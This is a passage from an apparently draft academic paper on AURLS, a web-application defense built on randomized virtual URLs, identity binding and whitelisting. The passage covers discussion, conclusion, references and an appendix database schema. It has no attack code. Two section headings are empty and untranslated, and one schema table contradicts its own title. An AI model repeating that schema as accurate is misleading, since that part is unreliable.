Both results of load test and stress test show that the AURLS solution does not have a significant impact on system performance.

## 4.3 Discussion

## 4.3.1 The defense effectiveness of simple URL shifting

The simple URL shifting method transforms the URLs in the web page by virtual and static URLs generated randomly. This approach reduces injection points on the web system. However, it has several shortcomings:

(1) It cannot prevent the attack using an URL without parameters, such as a webshell in the form of \*.php.

(2) It cannot associate access with user resulting in the inability to perform precise user behavior management.

(3) It cannot prevent those attacks initiating with virtual URL is obtained by the attacker through a visit to the website.

## 4.3.2 The defense effectiveness of the virtual URL and user identity binding mechanism

The binding mechanism of virtual URL and user's identity addresses the second and the third of the above shortcomings. This technique is applied to identify the same user’s requests. By this technique, we can not only effectively allow the precise management of user behavior, but also prevent the hacker using the known virtual URL attack after the theft of others’ cookie.

## 4.3.3 The defense effectiveness of the URL whitelist

The URL whitelist addresses the first of the above shortcomings. Whitelist is always applied in a simple application environment. In general, web applications belong to a complex application environment and can only apply blacklist. Because of the application of URL shifting, and URL binding mechanism, each request can accurately associate with a user so making it practical for whitelist technology. By the whitelist, we cannot only defend against attack using a URL without parameters and path traversal vulnerability, but also can relieve the system compatibility problem by adding special types of file to the whitelist and improve the friendliness for search engines through adding common access entries to the system.

## 4.3.4 The defense effectiveness of finer user access management.

Compared with the IP based user access management, the AURLS solution can match the virtual URL with the user through the user's virtual identity binding. Thus, AURLS can perform a finer user access management, including setting finer access threshold and restrict user access behavior accurately. It improves the detection rate for intrusion while reducing the rate of false positive.

## 4.3.5 Differences with URL rewriting

URL rewriting means the URL is rewritten into another URL that the site can handle, which has several advantages: (1) Shortening the URL, hiding the actual path means better security. (2) Easy for user to memorize and type. (3) Easy to be included in search engines.

Compared with AURLS, URL rewriting has two drawbacks. Firstly, for different users, the links rewritten are identical (or basically the same). In addition, the URL rewritten links can be reversed.

4.3.6 与基于identity session的用户访问控制的不同之处

4.3.7 与基于IP地址的用户访问控制的不同

## 4.3.8 Differences with traditional WAFs

Unlike the traditional WAF, AURLS is not based on certain rules to match attacks, but works by limiting the access entry, the behavior pattern of access, and the frequency and the number of access points to each virtual URL. Compared with traditional WAF, AURLS is a better and universally applicable method for unknown attacks.

## 5 CONCLUSION

In this paper, we proposed an active defense solution for Web Applications, which uses a URL address shifting technique to change randomly the URLs in a web page, and combining the identity binding technology to realize "one URL, one user". At the same time, we joined the URL whitelist based on this solution and performed a more sophisticated user access management to improve the defense capability of the system. We also implemented a prototype system on Nginx reverse proxy server, and carried out a series of tests with DVWA system to demonstrate the defense effect for web attacks. Compared to traditional defense technology, we consider that AURLS has the following advantages.

(1) AURLS can reduce the injection points of the site, so that the attacker cannot predict the virtual URL on other terminals, thus increasing the difficulty of attack.

(2) AURLS binds sessions and virtual URL to identify accurately users, which results in a more fine-grained user behavior management.

(3) AURLS is not signature-based, so is more flexible and effective in preventing unknown attacks than traditional methods.

However, there is still much work to be done on AURLS. Currently, we have cooperated with a cloud service supplier for industrialization. In the future, we plan to focus on the following aspects: (a) more efficient algorithms for URL lookup and matching; (b) multi-site support; (c) more general intrusion detection methods based on the user access model.

**Reference**

[1] W.A.S. Consortium, Web application security statistics project 2007, in, 2008.

[2] Y.-W. Huang, F. Yu, C. Hang, C.-H. Tsai, D.-T. Lee, S.-Y. Kuo, Securing web application code by static analysis and runtime protection, in: Proceedings of the 13th international conference on World Wide Web, ACM, 2004, pp. 40-52.

[3] R. Seacord, Top 10 Secure Coding Practices, in, 2011.

[4] R. Seacord, Secure coding in C and C++ of strings and integers, IEEE security & privacy, 4 (2006) 74-76.

[5] R.C. Seacord, Secure Coding in C and C++, Pearson Education, 2005.

[6] N. Antunes, M. Vieira, Defending against web application vulnerabilities, Computer, 45 (2012) 0066-0072.

[7] A. Thankachan, R. Ramakrishnan, M. Kalaiarasi, A survey and vital analysis of various state of the art solutions for web application security, in: Information Communication and Embedded Systems (ICICES), 2014 International Conference on, IEEE, 2014, pp. 1-9.

[8] A. Thankachan, R. Ramakrishnan, M. Kalaiarasi, A survey and vital analysis of various state of the art solutions for web application security, in: International Conference on Information Communication and Embedded Systems, 2015.

[9] X. Li, Y. Xue, A survey on server-side approaches to securing web applications, ACM Computing Surveys (CSUR), 46 (2014) 54.

[10] X. Li, Y. Xue, A survey on web application security, Nashville, TN USA, (2011).

[11] L. Desmet, F. Piessens, W. Joosen, P. Verbaeten, Bridging the gap between web application firewalls and web applications, in: Proceedings of the fourth ACM workshop on Formal methods in security, ACM, 2006, pp. 67-77.

[12] A. Tekerek, C. Gemci, O.F. Bay, Development of a hybrid web application firewall to prevent web based attacks, in: Application of Information and Communication Technologies (AICT), 2014 IEEE 8th International Conference on, IEEE, 2014, pp. 1-4.

[13] OWASP, OWASP Secure Coding Practices - Quick Reference Guide, in, OWASP, 2015.

[14] M. Curphey, R. Arawo, Web application security assessment tools, IEEE Security & Privacy, 4 (2006) 32-41.

[15] V. Felmetsger, L. Cavedon, C. Kruegel, G. Vigna, Toward automated detection of logic vulnerabilities in web applications, in: USENIX Security Symposium, 2010.

[16] N. Jovanovic, C. Kruegel, E. Kirda, Static analysis for detecting taint-style vulnerabilities in web applications, Journal of Computer Security, 18 (2010) 861-907.

[17] L.K. Shar, H.B.K. Tan, Automated removal of cross site scripting vulnerabilities in web applications, Information and Software Technology, 54 (2012) 467-478.

[18] F.S. Rietta, Application layer intrusion detection for SQL injection, in: Proceedings of the 44th annual Southeast regional conference, ACM, 2006, pp. 531-536.

[19] D. Kar, S. Panigrahi, S. Sundararajan, SQLiDDS: SQL injection detection using query transformation and document similarity, in: International Conference on Distributed Computing and Internet Technology, Springer, 2015, pp. 377-390.

[20] A. Razzaq, A. Hur, S. Shahbaz, M. Masood, H.F. Ahmad, Critical analysis on web application firewall solutions, in: Autonomous Decentralized Systems (ISADS), 2013 IEEE Eleventh International Symposium on, IEEE, 2013, pp. 1-6.

[21] Y. Xie, S.-Z. Yu, Anomaly detection based on web users' browsing behaviors, Ruan Jian Xue Bao(Journal of Software), 18 (2007) 967-977.

[22] M. Auxilia, D. Tamilselvan, Anomaly detection using negative security model in web application, in: Computer Information Systems and Industrial Management Applications (CISIM), 2010 International Conference on, IEEE, 2010, pp. 481-486.

[23] Y. Huang, A.K. Ghosh, Introducing Diversity and Uncertainty to Create Moving Attack Surfaces for Web Services, Springer New York, 2011.

[24] M. Taguinod, A. Doupé, Z. Zhao, G.J. Ahn, Toward a Moving Target Defense for Web Applications, in: IEEE International Conference on Information Reuse and Integration, 2015, pp. 510-517.

[25] B.-t. Chu, J. Portner, K. Joel, A.-S. Ehab, Moving target defense against cross-site scripting, in, Google Patents, 2016.

[26] C. Bailiff, Encoding of universal resource locators in a security gateway to enable manipulation by active content, in, US Patent 20,030,037,232, 2003.

[27] R.E. Salz, E. Kuznetsov, C.A. Dolph, W.T. Lynch, A.M. French, System and method remapping identifiers to secure files, in, Google Patents, 2010.

[28] Damn Vulnerable Web Application (DVWA), in.

[29] C. Goldberg, Pylot–Open Source Web Performance Tool, in, 2009.

Appendix A: Database design for AURLS

1) Shifted URL to real URL mapping

This mapping is used to transform shifted URL to real URL.

Table x Mapping of shifted URL to real URL

|  |  |
| --- | --- |
| Key | virtual\_url |
| value | real\_url |

(2) Virtual cookie to users’ id maping

AURLS can search this mapping table by virtual cookie to obtain the user’s ID that corresponds to this virtual cookie.

Table x Mapping of virtual cookie to user’s ID

|  |  |
| --- | --- |
| Key | virtual\_cookie |
| value | user\_id |

(3) user’s ID, real URL to shifted URL mapping

In the process of shifting address, AURLS searches for the corresponding shifted URL according to user’s ID and real URL that correspond to the request. If not exist, then generate randomly a string to operate shifting address. Otherwise, replace real URL with the corresponding shifted URL stored in the system, thus reduce the amount of data for storage.

Table x Mapping of user’s ID, real URL to shifted URL

|  |  |
| --- | --- |
| Key | user\_id&real\_url |
| value | virtual\_url |

(For handle this in hash table, we combine user\_id and real\_url into a keyword)

We can judge whether the virtual cookie corresponds with users or not through table(1), table(2) and table(3). The detailed process are as followed. (a) Obtain users’ id by virtual cookies in table(2); (b) Obtain real URL for accessing by shifted URL(named virtual\_url\_a) in table(1); (c) According to table(3) and real URL as well as users’ id obtained before, we can search table(3) for shifted URL stored in the system(named virtual\_url\_b), by checking if virtual\_url\_a is the same as virtual\_url\_b, we can come to the conclusion that whether virtual cookies correspond with users.

(4)virtual cookie-to-IP mapping table

This mapping functions on preventing attackers initiate attacks on pages in global whitelist after stealing user’s cookies.

Table x Mapping of virtual cookie to user’s IP

|  |  |
| --- | --- |
| Key | virtual\_cookie |
| value | user\_id |

(5) Table of system’s 2-gram access model

This table is mainly utilized in storage system for corresponding with 2-gram access model. To circumvent difficulty in building 2-gram model, in practical system, we can merely build for key links, like those involved in modifying passwords, online payment and so on.

Table x System’s 2-gram access model

|  |  |
| --- | --- |
| Key | request\_url |
| value | referer |

This table is organized in the form of set.

(6) Other mapping tables for access controlling

Due to limited space of the paper, a further discussion is omitted.

1. In this paper, the virtual URL and the shifting URL are defined as the URL generated by a URL shifting method. [↑](#footnote-ref-0)
2. The user's virtual identity is determined by the virtual cookie and the user source IP address. [↑](#footnote-ref-1)